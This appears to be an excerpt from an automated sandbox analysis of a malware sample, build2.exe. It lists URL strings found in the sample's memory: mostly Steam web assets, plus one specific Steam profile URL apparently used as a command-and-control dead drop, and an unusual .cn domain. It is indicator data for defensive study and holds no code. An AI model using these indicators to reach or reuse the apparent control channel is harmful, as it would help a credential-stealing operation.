Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=Kg_v7CMM
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=C4Kx
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=-zPAhzrcAAqx&l=e
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=BMF068jICwP9&
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888J
Source: build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888l
Source: build2.exe, 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
